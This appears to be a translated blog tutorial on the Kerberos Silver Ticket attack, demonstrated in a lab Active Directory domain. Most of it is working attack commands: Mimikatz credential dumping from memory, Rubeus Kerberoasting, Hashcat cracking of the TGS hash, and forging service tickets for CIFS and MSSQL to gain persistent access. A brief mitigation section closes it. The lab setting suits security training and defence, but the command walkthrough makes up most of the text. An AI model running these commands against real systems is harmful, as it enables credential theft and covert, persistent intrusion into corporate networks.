Mimikatz application developer Benjamin Delpy presented the Silver Ticket Attack at BlackHat 2014 in a Kerberos session attack.
image
A Silver Ticket is a fake Ticket-Granting Service (TGS) ticket for certain services that can be used to maintain persistence on a compromised system joined to a corporate Active Directory domain. In an attack, an attacker can create a valid TGS service and use the associated NTLM hash to further generate tickets for other services.
How does the silver ticket attack work?
The golden ticket attack uses the KRBTGT account hash, while the silver ticket attack uses the service account password hash. It can be retrieved by various methods, one of which is Kerberoasting.
Since a TGT (Ticket-Granting Ticket) intermediary is not required for a silver ticket attack, silver tickets can be spoofed without any communication with a domain controller and are therefore more stealthy than a golden ticket attack.
The Silver Ticket attack works like this:
STEP 1 : Compromise the password hash (NTLM hash) of the service account. To do this, the user can use Mimikatz, Kerberoasting, etc.;
STEP 2 : For a new ticket, specify the following parameters:
Service hash (Service hash);
Service name (Service name);
Target FQDN (Full Domain Name);
Domain SID (Domain SID).
STEP 3: Paste the newly created Silver Ticket into your terminal session to maintain persistence.
Let's see the attack in action.
Silver Ticket via Mimikatz
In the demo, we used the NTLM hash of the computer account "dc1$". We had to use the service account hash. It should be noted that the computer also hosts several services, one of which is the Common Internet File System (CIFS) service. So the password hash of the CIFS service is the same as the machine account.
Goal: Generate a silver ticket to establish CIFS (sharing) persistence on the computer "dc1.ignite.local".
Since the whole attack is about maintaining persistence, we must assume the following:
The attacker compromised the victim's machine with a low level of privacy (here username: harditrajpal);
The attacker somehow obtained the target machine's/NTLM password (dc1.ignite.local);
An attacker created a silver ticket on a low-level machine in order to gain access to the system and establish CIFS service persistence.
Let's first show you our current user, tickets and what happens when we access a computer
Next, we need the hashes of the computer account "dc1.ignite.local". We will use Mimikatz to speed up the process of obtaining hashes. Let's first enable Mimikatz and reset the hashes with the "sekurlsa::logonpasswords" command. Note that you can use any method to reset hashes.
privilege::debug
sekurlsa::logonpasswords
This will dump all hashes in the machine's memory, including the account hash. Also in the code, we found the NTLM account of our machine "dc1$".
Next, in order to forge the silver ticket, we need to find the SID of the domain using the command. Note that the 4 digits at the end (1115) is the relative SID. We don't need him. Everything up to the last dash is the SID of the domain.
whoami /user
Now you can use the "gold" Mimikatz module to fake a silver ticket. We just put in our variables. Here we are using the "/ptt" flag to insert the ticket directly into the current shell.
"/id" is any random identifier that will show up in the event logs when checked.
"/sid" is the SID of the domain.
"/domain" is the FQDN of the target domain.
"/service" is the service for which the ticket is generated.
"/rc4" is the NTLM hash of the victim computer account.
"/user" is the username.
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
clist
The ticket is stored in the memory of the current session. You should now be able to access the target machine's CIFS.
dir \\dc1.ignite.local\c$
If you don't want to stick the ticket into memory right away, but prefer to save the "ticket.kirb" file instead, you simply remove the "/ptt" flag and leave it as it is.
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
clist
you
Now this "kirbi" ticket can be used with the Rubeus ptt module, inserted into memory and used at any time.
rubeus.exe ptt /ticket:ticket.kirbi
clist
dir \\dc1.ignite.local\c$
Silver Ticket via Rubeus
The whole procedure above can also be done with Rubeus. However, this time we will set up another service, SQL Server, and assign the service to be run by the user "sqluser" (this can be done by going to run->services.msc->SQL->properties->logon). This will make the SQL service run through our created account.
Now we need to compromise the NTLM hash of this account. To do this, we use the Kerberoasting attack.
"/domain" - fully qualified domain name
"/creduser" is any valid compromised username.
"/credpassword" is the actual password of the compromised user.
"/nowrap" - The command is needed in order for the ticket blob to be displayed on a single line in Rubeus.
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
Rubeus automatically detected a valid Kerberoastable account and reset its TGS. Now we will extract the password from this TGS offline using Hashcat.
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..
After a few seconds, we received an open text password "Password@1".
Now let's convert this to an NTLM hash (rc4_hmac) using Rubeus, as our silver ticket requires valid NTLM.
rubeus.exe hash /password:Password@1
We also need to know the SID. This can be done with the command " whoami /user "
So, to forge a ticket for the current user in Rubeus, we write the following command:
rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt
The "/ptt" option fully imports the ticket in the current session. Without this command, the "ticket.kirbi" file will be saved. However, a valid silver ticket has already been created.
Now we can try to login to the server and run a basic command that displays the hostname.
sqlcmd -S 192.168.1.2,1433
SELECT HOST_NAME() AS HostName
go
As you can see, our user can now connect to the SQL service using the ticket we just created.
How to protect yourself from the Silver Ticket attack ?
Since the attack is based on a standalone mechanism and does not involve a domain controller, it is difficult to mitigate the attack. However, the following steps can be taken to ensure protection:
Enable Kerberos PAC Validation security. If allowed, the submitted ticket must first be verified by the Key Distribution Center (DC). Therefore, silver tickets will be rejected immediately.
Use strong passwords to prevent brute force
Control privileges or whitelist specific users who can use certain services.
Mitigate Kerberoasting.
Conclusion
We talked about the Silver Ticket attack and how it can be used to fake the TGS of a specific service. We also demonstrated in practice how, using 2 tools, an attacker can forge and use a silver ticket. In real life, getting a golden ticket is quite difficult, but silver tickets can be easily counterfeited because awareness of Kerberos security is low.